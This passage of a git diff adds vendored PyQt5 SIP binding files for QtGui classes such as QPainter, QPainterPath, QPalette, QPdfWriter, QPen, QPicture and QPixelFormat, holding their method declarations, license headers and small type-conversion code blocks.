boundingRect(const QRect &rect, int flags, const QString &text); + QRectF boundingRect(const QRectF &rectangle, const QString &text, const QTextOption &option = QTextOption()); + void fillRect(const QRectF &, const QBrush &); + void fillRect(const QRect &, const QBrush &); + void eraseRect(const QRectF &); + void setRenderHint(QPainter::RenderHint hint, bool on = true); + QPainter::RenderHints renderHints() const; + void setRenderHints(QPainter::RenderHints hints, bool on = true); + QPaintEngine *paintEngine() const; + void drawLine(const QLineF &l); + void drawLine(const QLine &line); + void drawLine(int x1, int y1, int x2, int y2); + void drawLine(const QPoint &p1, const QPoint &p2); + void drawLine(const QPointF &p1, const QPointF &p2); + void drawRect(const QRectF &rect); + void drawRect(int x, int y, int w, int h); + void drawRect(const QRect &r); + void drawPoint(const QPointF &p); + void drawPoint(int x, int y); + void drawPoint(const QPoint &p); + void drawEllipse(int x, int y, int w, int h); + void drawArc(const QRect &r, int a, int alen); + void drawArc(int x, int y, int w, int h, int a, int alen); + void drawPie(const QRect &rect, int a, int alen); + void drawPie(int x, int y, int w, int h, int a, int alen); + void drawChord(const QRect &rect, int a, int alen); + void drawChord(int x, int y, int w, int h, int a, int alen); + void setClipRect(int x, int y, int width, int height, Qt::ClipOperation operation = Qt::ReplaceClip); + void setClipRect(const QRect &rectangle, Qt::ClipOperation operation = Qt::ReplaceClip); + void eraseRect(const QRect &rect); + void eraseRect(int x, int y, int w, int h); + void fillRect(int x, int y, int w, int h, const QBrush &b); + void setBrushOrigin(int x, int y); + void setBrushOrigin(const QPoint &p); + void drawTiledPixmap(const QRect &rectangle, const QPixmap &pixmap, const QPoint &pos = QPoint()); + void drawTiledPixmap(int x, int y, int width, int height, const QPixmap &pixmap, int sx = 0, int sy = 0); + void drawPixmap(const QRect &targetRect, const QPixmap &pixmap, const QRect &sourceRect); + void drawPixmap(const QPointF &p, const QPixmap &pm); + void drawPixmap(const QPoint &p, const QPixmap &pm); + void drawPixmap(const QRect &r, const QPixmap &pm); + void drawPixmap(int x, int y, const QPixmap &pm); + void drawPixmap(int x, int y, int w, int h, const QPixmap &pm); + void drawPixmap(int x, int y, int w, int h, const QPixmap &pm, int sx, int sy, int sw, int sh); + void drawPixmap(int x, int y, const QPixmap &pm, int sx, int sy, int sw, int sh); + void drawPixmap(const QPointF &p, const QPixmap &pm, const QRectF &sr); + void drawPixmap(const QPoint &p, const QPixmap &pm, const QRect &sr); + void drawImage(const QRectF &r, const QImage &image); + void drawImage(const QRect &r, const QImage &image); + void drawImage(const QPointF &p, const QImage &image); + void drawImage(const QPoint &p, const QImage &image); + void drawImage(int x, int y, const QImage &image, int sx = 0, int sy = 0, int sw = -1, int sh = -1, Qt::ImageConversionFlags flags = Qt::ImageConversionFlag::AutoColor); + void drawText(const QPoint &p, const QString &s); + void drawText(int x, int y, int width, int height, int flags, const QString &text, QRect *boundingRect /Out/ = 0); + void drawText(int x, int y, const QString &s); + QRect boundingRect(int x, int y, int w, int h, int flags, const QString &text); + qreal opacity() const; + void setOpacity(qreal opacity); + void translate(qreal dx, qreal dy); + void translate(const QPoint &offset); + void setViewport(int x, int y, int w, int h); + void setWindow(int x, int y, int w, int h); + bool worldMatrixEnabled() const; + void setWorldMatrixEnabled(bool enabled); + void drawPicture(int x, int y, const QPicture &p); + void drawPicture(const QPoint &pt, const QPicture &p); + void setTransform(const QTransform &transform, bool combine = false); + const QTransform &transform() const; + const QTransform &deviceTransform() const; + void resetTransform(); + void setWorldTransform(const QTransform &matrix, bool combine = false); + const QTransform &worldTransform() const; + QTransform combinedTransform() const; + bool testRenderHint(QPainter::RenderHint hint) const; + void drawRoundedRect(const QRectF &rect, qreal xRadius, qreal yRadius, Qt::SizeMode mode = Qt::AbsoluteSize); + void drawRoundedRect(int x, int y, int w, int h, qreal xRadius, qreal yRadius, Qt::SizeMode mode = Qt::AbsoluteSize); + void drawRoundedRect(const QRect &rect, qreal xRadius, qreal yRadius, Qt::SizeMode mode = Qt::AbsoluteSize); + void drawEllipse(const QPointF ¢er, qreal rx, qreal ry); + void drawEllipse(const QPoint ¢er, int rx, int ry); + void fillRect(const QRectF &, const QColor &color); + void fillRect(const QRect &, const QColor &color); + void fillRect(int x, int y, int w, int h, const QColor &b); + void fillRect(int x, int y, int w, int h, Qt::GlobalColor c); + void fillRect(const QRect &r, Qt::GlobalColor c); + void fillRect(const QRectF &r, Qt::GlobalColor c); + void fillRect(int x, int y, int w, int h, Qt::BrushStyle style); + void fillRect(const QRect &r, Qt::BrushStyle style); + void fillRect(const QRectF &r, Qt::BrushStyle style); + void beginNativePainting(); + void endNativePainting(); + + class PixmapFragment + { +%TypeHeaderCode +#include +%End + + public: + qreal x; + qreal y; + qreal sourceLeft; + qreal sourceTop; + qreal width; + qreal height; + qreal scaleX; + qreal scaleY; + qreal rotation; + qreal opacity; + static QPainter::PixmapFragment create(const QPointF &pos, const QRectF &sourceRect, qreal scaleX = 1, qreal scaleY = 1, qreal rotation = 0, qreal opacity = 1) /Factory/; + }; + + enum PixmapFragmentHint + { + OpaqueHint, + }; + + typedef QFlags PixmapFragmentHints; + void drawPixmapFragments(SIP_PYLIST fragments /TypeHint="List[QPainter.PixmapFragment]"/, const QPixmap &pixmap, QFlags hints = 0); +%MethodCode + // Allocate temporary storage for the C++ conversions. + Py_ssize_t numFragments = PyList_Size(a0); + QPainter::PixmapFragment *fragments = new QPainter::PixmapFragment[numFragments]; + + // Convert the fragments. + for (Py_ssize_t i = 0; i < numFragments; ++i) + { + void *cpp = sipForceConvertToType(PyList_GetItem(a0, i), sipType_QPainter_PixmapFragment, NULL, SIP_NO_CONVERTORS, NULL, &sipIsErr); + + fragments[i] = *reinterpret_cast(cpp); + } + + if (!sipIsErr) + { + Py_BEGIN_ALLOW_THREADS + sipCpp->drawPixmapFragments(fragments, numFragments, *a1, *a2); + Py_END_ALLOW_THREADS + } + + delete[] fragments; +%End + + void drawStaticText(const QPointF &topLeftPosition, const QStaticText &staticText); + void drawStaticText(const QPoint &p, const QStaticText &staticText); + void drawStaticText(int x, int y, const QStaticText &staticText); + QRectF clipBoundingRect() const; +%If (PyQt_RawFont) + void drawGlyphRun(const QPointF &position, const QGlyphRun &glyphRun); +%End +%If (Qt_5_12_0 -) + void fillRect(int x, int y, int w, int h, QGradient::Preset preset); +%End +%If (Qt_5_12_0 -) + void fillRect(const QRect &r, QGradient::Preset preset); +%End +%If (Qt_5_12_0 -) + void fillRect(const QRectF &r, QGradient::Preset preset); +%End + void drawImage(const QRectF &targetRect, const QImage &image, const QRectF &sourceRect, Qt::ImageConversionFlags flags = Qt::ImageConversionFlag::AutoColor); + void drawImage(const QRect &targetRect, const QImage &image, const QRect &sourceRect, Qt::ImageConversionFlags flags = Qt::ImageConversionFlag::AutoColor); + void drawImage(const QPointF &p, const QImage &image, const QRectF &sr, Qt::ImageConversionFlags flags = Qt::ImageConversionFlag::AutoColor); + void drawImage(const QPoint &p, const QImage &image, const QRect &sr, Qt::ImageConversionFlags flags = Qt::ImageConversionFlag::AutoColor); + +private: + QPainter(const QPainter &); +}; + +QFlags operator|(QPainter::RenderHint f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpainterpath.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpainterpath.sip new file mode 100644 index 00000000..b9a0c574 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpainterpath.sip @@ -0,0 +1,188 @@ +// qpainterpath.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPainterPath +{ +%TypeHeaderCode +#include +%End + +public: + enum ElementType + { + MoveToElement, + LineToElement, + CurveToElement, + CurveToDataElement, + }; + + class Element + { +%TypeHeaderCode +#include +%End + + public: + qreal x; + qreal y; + QPainterPath::ElementType type; + bool isMoveTo() const; + bool isLineTo() const; + bool isCurveTo() const; + bool operator==(const QPainterPath::Element &e) const; + bool operator!=(const QPainterPath::Element &e) const; + operator QPointF() const; + }; + + QPainterPath(); + explicit QPainterPath(const QPointF &startPoint); + QPainterPath(const QPainterPath &other); + ~QPainterPath(); + void closeSubpath(); + void moveTo(const QPointF &p); + void lineTo(const QPointF &p); + void arcTo(const QRectF &rect, qreal startAngle, qreal arcLength); + void cubicTo(const QPointF &ctrlPt1, const QPointF &ctrlPt2, const QPointF &endPt); + void quadTo(const QPointF &ctrlPt, const QPointF &endPt); + QPointF currentPosition() const; + void addRect(const QRectF &rect); + void addEllipse(const QRectF &rect); + void addPolygon(const QPolygonF &polygon); + void addText(const QPointF &point, const QFont &f, const QString &text); + void addPath(const QPainterPath &path); + void addRegion(const QRegion ®ion); + void connectPath(const QPainterPath &path); + bool contains(const QPointF &pt) const; + bool contains(const QRectF &rect) const; + bool intersects(const QRectF &rect) const; + QRectF boundingRect() const; + QRectF controlPointRect() const; + Qt::FillRule fillRule() const; + void setFillRule(Qt::FillRule fillRule); + QPainterPath toReversed() const; + QList toSubpathPolygons() const; +%MethodCode + sipRes = new QList(sipCpp->toSubpathPolygons()); +%End + + QList toFillPolygons() const; +%MethodCode + sipRes = new QList(sipCpp->toFillPolygons()); +%End + + QPolygonF toFillPolygon() const; +%MethodCode + sipRes = new QPolygonF(sipCpp->toFillPolygon()); +%End + + bool operator==(const QPainterPath &other) const; + bool operator!=(const QPainterPath &other) const; + void moveTo(qreal x, qreal y); + void arcMoveTo(const QRectF &rect, qreal angle); + void arcMoveTo(qreal x, qreal y, qreal w, qreal h, qreal angle); + void arcTo(qreal x, qreal y, qreal w, qreal h, qreal startAngle, qreal arcLenght); + void lineTo(qreal x, qreal y); + void cubicTo(qreal ctrlPt1x, qreal ctrlPt1y, qreal ctrlPt2x, qreal ctrlPt2y, qreal endPtx, qreal endPty); + void quadTo(qreal ctrlPtx, qreal ctrlPty, qreal endPtx, qreal endPty); + void addEllipse(qreal x, qreal y, qreal w, qreal h); + void addRect(qreal x, qreal y, qreal w, qreal h); + void addText(qreal x, qreal y, const QFont &f, const QString &text); + bool isEmpty() const; + int elementCount() const; + QPainterPath::Element elementAt(int i) const; + void setElementPositionAt(int i, qreal x, qreal y); + QList toSubpathPolygons(const QTransform &matrix) const; + QList toFillPolygons(const QTransform &matrix) const; + QPolygonF toFillPolygon(const QTransform &matrix) const; + qreal length() const; + qreal percentAtLength(qreal t) const; + QPointF pointAtPercent(qreal t) const; + qreal angleAtPercent(qreal t) const; + qreal slopeAtPercent(qreal t) const; + bool intersects(const QPainterPath &p) const; + bool contains(const QPainterPath &p) const; + QPainterPath united(const QPainterPath &r) const; + QPainterPath intersected(const QPainterPath &r) const; + QPainterPath subtracted(const QPainterPath &r) const; + void addRoundedRect(const QRectF &rect, qreal xRadius, qreal yRadius, Qt::SizeMode mode = Qt::AbsoluteSize); + void addRoundedRect(qreal x, qreal y, qreal w, qreal h, qreal xRadius, qreal yRadius, Qt::SizeMode mode = Qt::AbsoluteSize); + void addEllipse(const QPointF ¢er, qreal rx, qreal ry); + QPainterPath simplified() const; + QPainterPath operator&(const QPainterPath &other) const; + QPainterPath operator|(const QPainterPath &other) const; + QPainterPath operator+(const QPainterPath &other) const; + QPainterPath operator-(const QPainterPath &other) const; + QPainterPath &operator&=(const QPainterPath &other); + QPainterPath &operator|=(const QPainterPath &other); + QPainterPath &operator+=(const QPainterPath &other); + QPainterPath &operator-=(const QPainterPath &other); + void translate(qreal dx, qreal dy); + QPainterPath translated(qreal dx, qreal dy) const; + void translate(const QPointF &offset); + QPainterPath translated(const QPointF &offset) const; + void swap(QPainterPath &other /Constrained/); +%If (Qt_5_13_0 -) + void clear(); +%End +%If (Qt_5_13_0 -) + void reserve(int size); +%End +%If (Qt_5_13_0 -) + int capacity() const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QPainterPath & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QPainterPath & /Constrained/) /ReleaseGIL/; + +class QPainterPathStroker +{ +%TypeHeaderCode +#include +%End + +public: + QPainterPathStroker(); +%If (Qt_5_3_0 -) + explicit QPainterPathStroker(const QPen &pen); +%End + ~QPainterPathStroker(); + void setWidth(qreal width); + qreal width() const; + void setCapStyle(Qt::PenCapStyle style); + Qt::PenCapStyle capStyle() const; + void setJoinStyle(Qt::PenJoinStyle style); + Qt::PenJoinStyle joinStyle() const; + void setMiterLimit(qreal length); + qreal miterLimit() const; + void setCurveThreshold(qreal threshold); + qreal curveThreshold() const; + void setDashPattern(Qt::PenStyle); + void setDashPattern(const QVector &dashPattern); + QVector dashPattern() const; + QPainterPath createStroke(const QPainterPath &path) const; + void setDashOffset(qreal offset); + qreal dashOffset() const; + +private: + QPainterPathStroker(const QPainterPathStroker &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpalette.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpalette.sip new file mode 100644 index 00000000..911637fa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpalette.sip @@ -0,0 +1,133 @@ +// qpalette.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPalette +{ +%TypeHeaderCode +#include +%End + +public: + QPalette(); + QPalette(const QColor &button); + QPalette(Qt::GlobalColor button); + QPalette(const QColor &button, const QColor &background); + QPalette(const QBrush &foreground, const QBrush &button, const QBrush &light, const QBrush &dark, const QBrush &mid, const QBrush &text, const QBrush &bright_text, const QBrush &base, const QBrush &background); + QPalette(const QPalette &palette); + QPalette(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QPalette(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + ~QPalette(); + + enum ColorGroup + { + Active, + Disabled, + Inactive, + NColorGroups, + Current, + All, + Normal, + }; + + enum ColorRole + { + WindowText, + Foreground, + Button, + Light, + Midlight, + Dark, + Mid, + Text, + BrightText, + ButtonText, + Base, + Window, + Background, + Shadow, + Highlight, + HighlightedText, + Link, + LinkVisited, + AlternateBase, + ToolTipBase, + ToolTipText, +%If (Qt_5_12_0 -) + PlaceholderText, +%End + NoRole, + NColorRoles, + }; + + QPalette::ColorGroup currentColorGroup() const; + void setCurrentColorGroup(QPalette::ColorGroup cg); + const QColor &color(QPalette::ColorGroup cg, QPalette::ColorRole cr) const; + const QBrush &brush(QPalette::ColorGroup cg, QPalette::ColorRole cr) const; + void setBrush(QPalette::ColorGroup cg, QPalette::ColorRole cr, const QBrush &brush); + void setColorGroup(QPalette::ColorGroup cr, const QBrush &foreground, const QBrush &button, const QBrush &light, const QBrush &dark, const QBrush &mid, const QBrush &text, const QBrush &bright_text, const QBrush &base, const QBrush &background); + bool isEqual(QPalette::ColorGroup cr1, QPalette::ColorGroup cr2) const; + const QColor &color(QPalette::ColorRole cr) const; + const QBrush &brush(QPalette::ColorRole cr) const; + const QBrush &windowText() const; + const QBrush &button() const; + const QBrush &light() const; + const QBrush &dark() const; + const QBrush &mid() const; + const QBrush &text() const; + const QBrush &base() const; + const QBrush &alternateBase() const; + const QBrush &window() const; + const QBrush &midlight() const; + const QBrush &brightText() const; + const QBrush &buttonText() const; + const QBrush &shadow() const; + const QBrush &highlight() const; + const QBrush &highlightedText() const; + const QBrush &link() const; + const QBrush &linkVisited() const; + const QBrush &toolTipBase() const; + const QBrush &toolTipText() const; +%If (Qt_5_12_0 -) + const QBrush &placeholderText() const; +%End + bool operator==(const QPalette &p) const; + bool operator!=(const QPalette &p) const; + bool isCopyOf(const QPalette &p) const; + QPalette resolve(const QPalette &) const; + uint resolve() const; + void resolve(uint mask); + void setColor(QPalette::ColorGroup acg, QPalette::ColorRole acr, const QColor &acolor); + void setColor(QPalette::ColorRole acr, const QColor &acolor); + void setBrush(QPalette::ColorRole acr, const QBrush &abrush); + bool isBrushSet(QPalette::ColorGroup cg, QPalette::ColorRole cr) const; + qint64 cacheKey() const; + void swap(QPalette &other /Constrained/); +}; + +QDataStream &operator<<(QDataStream &s, const QPalette &p /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &ds, QPalette &p /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpdfwriter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpdfwriter.sip new file mode 100644 index 00000000..bb76554d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpdfwriter.sip @@ -0,0 +1,72 @@ +// qpdfwriter.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPdfWriter : QObject, QPagedPaintDevice +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPdfWriter(const QString &filename); + explicit QPdfWriter(QIODevice *device); + virtual ~QPdfWriter(); + QString title() const; + void setTitle(const QString &title); + QString creator() const; + void setCreator(const QString &creator); + virtual bool newPage(); + virtual void setPageSize(QPagedPaintDevice::PageSize size); + bool setPageSize(const QPageSize &pageSize); + virtual void setPageSizeMM(const QSizeF &size); + virtual void setMargins(const QPagedPaintDevice::Margins &m); + +protected: + virtual QPaintEngine *paintEngine() const; + virtual int metric(QPaintDevice::PaintDeviceMetric id) const; + +public: +%If (Qt_5_3_0 -) + void setResolution(int resolution); +%End +%If (Qt_5_3_0 -) + int resolution() const; +%End +%If (Qt_5_10_0 -) + void setPdfVersion(QPagedPaintDevice::PdfVersion version); +%End +%If (Qt_5_10_0 -) + QPagedPaintDevice::PdfVersion pdfVersion() const; +%End +%If (Qt_5_15_0 -) + void setDocumentXmpMetadata(const QByteArray &xmpMetadata); +%End +%If (Qt_5_15_0 -) + QByteArray documentXmpMetadata() const; +%End +%If (Qt_5_15_0 -) + void addFileAttachment(const QString &fileName, const QByteArray &data, const QString &mimeType = QString()); +%End + +private: + QPdfWriter(const QPdfWriter &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpen.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpen.sip new file mode 100644 index 00000000..08230840 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpen.sip @@ -0,0 +1,103 @@ +// qpen.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPen /TypeHintIn="Union[QPen, QColor]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +// SIP doesn't support automatic type convertors so we explicitly allow a +// QColor to be used whenever a QPen is expected. + +if (sipIsErr == NULL) + return (sipCanConvertToType(sipPy, sipType_QPen, SIP_NO_CONVERTORS) || + sipCanConvertToType(sipPy, sipType_QColor, 0)); + +if (sipCanConvertToType(sipPy, sipType_QPen, SIP_NO_CONVERTORS)) +{ + *sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QPen, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + + return 0; +} + +int state; +QColor *c = reinterpret_cast(sipConvertToType(sipPy, sipType_QColor, 0, 0, &state, sipIsErr)); + +if (*sipIsErr) +{ + sipReleaseType(c, sipType_QColor, state); + return 0; +} + +*sipCppPtr = new QPen(*c); + +sipReleaseType(c, sipType_QColor, state); + +return sipGetState(sipTransferObj); +%End + +public: + QPen(); + QPen(Qt::PenStyle); + QPen(const QBrush &brush, qreal width, Qt::PenStyle style = Qt::SolidLine, Qt::PenCapStyle cap = Qt::SquareCap, Qt::PenJoinStyle join = Qt::BevelJoin); + QPen(const QPen &pen); + QPen(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QPen(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + ~QPen(); + Qt::PenStyle style() const; + void setStyle(Qt::PenStyle); + qreal widthF() const; + void setWidthF(qreal width); + int width() const; + void setWidth(int width); + QColor color() const; + void setColor(const QColor &color); + QBrush brush() const; + void setBrush(const QBrush &brush); + bool isSolid() const; + Qt::PenCapStyle capStyle() const; + void setCapStyle(Qt::PenCapStyle pcs); + Qt::PenJoinStyle joinStyle() const; + void setJoinStyle(Qt::PenJoinStyle pcs); + QVector dashPattern() const; + void setDashPattern(const QVector &pattern); + qreal miterLimit() const; + void setMiterLimit(qreal limit); + bool operator==(const QPen &p) const; + bool operator!=(const QPen &p) const; + qreal dashOffset() const; + void setDashOffset(qreal doffset); + bool isCosmetic() const; + void setCosmetic(bool cosmetic); + void swap(QPen &other /Constrained/); +}; + +QDataStream &operator<<(QDataStream &, const QPen & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QPen & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpicture.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpicture.sip new file mode 100644 index 00000000..6e932661 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpicture.sip @@ -0,0 +1,187 @@ +// qpicture.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPicture : QPaintDevice +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPicture(int formatVersion = -1); + QPicture(const QPicture &); + virtual ~QPicture(); + bool isNull() const; + virtual int devType() const; + uint size() const; + const char *data() const /Encoding="None"/; + virtual void setData(const char *data /Array/, uint size /ArraySize/); + bool play(QPainter *p); + bool load(QIODevice *dev, const char *format = 0) /ReleaseGIL/; + bool load(const QString &fileName, const char *format = 0) /ReleaseGIL/; + bool save(QIODevice *dev, const char *format = 0) /ReleaseGIL/; + bool save(const QString &fileName, const char *format = 0) /ReleaseGIL/; + QRect boundingRect() const; + void setBoundingRect(const QRect &r); + void detach(); + bool isDetached() const; + virtual QPaintEngine *paintEngine() const; + +protected: + virtual int metric(QPaintDevice::PaintDeviceMetric m) const; + +public: + void swap(QPicture &other /Constrained/); +}; + +class QPictureIO +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// This defines the mapping between picture formats and the corresponding +// Python i/o handler callables. +struct qtgui_pio { + const char *format; // The format. + PyObject *read; // The read handler. + PyObject *write; // The write handler. + qtgui_pio *next; // The next in the list. +}; + + +// The head of the list. +static qtgui_pio *qtgui_pio_head = 0; + + +// Find the entry for the given picture. +static const qtgui_pio *qtgui_pio_find(QPictureIO *pio) +{ + for (const qtgui_pio *p = qtgui_pio_head; p; p = p->next) + if (qstrcmp(pio->format(), p->format) == 0) + return p; + + return 0; +} + + +// This is the C++ read handler. +static void qtgui_pio_read(QPictureIO *pio) +{ + const qtgui_pio *p = qtgui_pio_find(pio); + + if (p && p->read) + { + Py_XDECREF(sipCallMethod(0, p->read, "D", pio, sipType_QPictureIO, NULL)); + } +} + + +// This is the C++ write handler. +static void qtgui_pio_write(QPictureIO *pio) +{ + const qtgui_pio *p = qtgui_pio_find(pio); + + if (p && p->write) + { + Py_XDECREF(sipCallMethod(0, p->write, "D", pio, sipType_QPictureIO, NULL)); + } +} +%End + +public: + QPictureIO(); + QPictureIO(QIODevice *ioDevice, const char *format); + QPictureIO(const QString &fileName, const char *format); + ~QPictureIO(); + const QPicture &picture() const; + int status() const; + const char *format() const; + QIODevice *ioDevice() const; + QString fileName() const; + int quality() const; + QString description() const; + const char *parameters() const; + float gamma() const; + void setPicture(const QPicture &); + void setStatus(int); + void setFormat(const char *); + void setIODevice(QIODevice *); + void setFileName(const QString &); + void setQuality(int); + void setDescription(const QString &); + void setParameters(const char *); + void setGamma(float); + bool read() /ReleaseGIL/; + bool write() /ReleaseGIL/; + static QByteArray pictureFormat(const QString &fileName); + static QByteArray pictureFormat(QIODevice *); + static QList inputFormats(); + static QList outputFormats(); + static void defineIOHandler(const char *format, const char *header, const char *flags, SIP_PYCALLABLE read_picture /AllowNone,TypeHint="Optional[Callable[[QPictureIO], None]]"/, SIP_PYCALLABLE write_picture /AllowNone,TypeHint="Optional[Callable[[QPictureIO], None]]"/); +%MethodCode + // Convert None to NULL. + if (a3 == Py_None) + a3 = 0; + + if (a4 == Py_None) + a4 = 0; + + // See if we already know about the format. + qtgui_pio *p; + + for (p = qtgui_pio_head; p; p = p->next) + if (qstrcmp(a0, p->format) == 0) + break; + + if (!p) + { + // Handle the new format. + p = new qtgui_pio; + p->format = qstrdup(a0); + p->read = 0; + p->write = 0; + p->next = qtgui_pio_head; + + qtgui_pio_head = p; + } + + // Replace the old callables with the new ones. + Py_XDECREF(p->read); + p->read = a3; + Py_XINCREF(p->read); + + Py_XDECREF(p->write); + p->write = a4; + Py_XINCREF(p->write); + + // Install the generic handlers. + QPictureIO::defineIOHandler(a0, a1, a2, qtgui_pio_read, qtgui_pio_write); +%End + +private: + QPictureIO(const QPictureIO &); +}; + +QDataStream &operator<<(QDataStream &in, const QPicture &p /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &in, QPicture &p /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpixelformat.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpixelformat.sip new file mode 100644 index 00000000..2b5336e0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpixelformat.sip @@ -0,0 +1,159 @@ +// qpixelformat.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) +%ModuleCode +#include +%End +%End + +%If (Qt_5_4_0 -) + +class QPixelFormat +{ +%TypeHeaderCode +#include +%End + +public: + enum ColorModel + { + RGB, + BGR, + Indexed, + Grayscale, + CMYK, + HSL, + HSV, + YUV, +%If (Qt_5_5_0 -) + Alpha, +%End + }; + + enum AlphaUsage + { + UsesAlpha, + IgnoresAlpha, + }; + + enum AlphaPosition + { + AtBeginning, + AtEnd, + }; + + enum AlphaPremultiplied + { + NotPremultiplied, + Premultiplied, + }; + + enum TypeInterpretation + { + UnsignedInteger, + UnsignedShort, + UnsignedByte, + FloatingPoint, + }; + + enum YUVLayout + { + YUV444, + YUV422, + YUV411, + YUV420P, + YUV420SP, + YV12, + UYVY, + YUYV, + NV12, + NV21, + 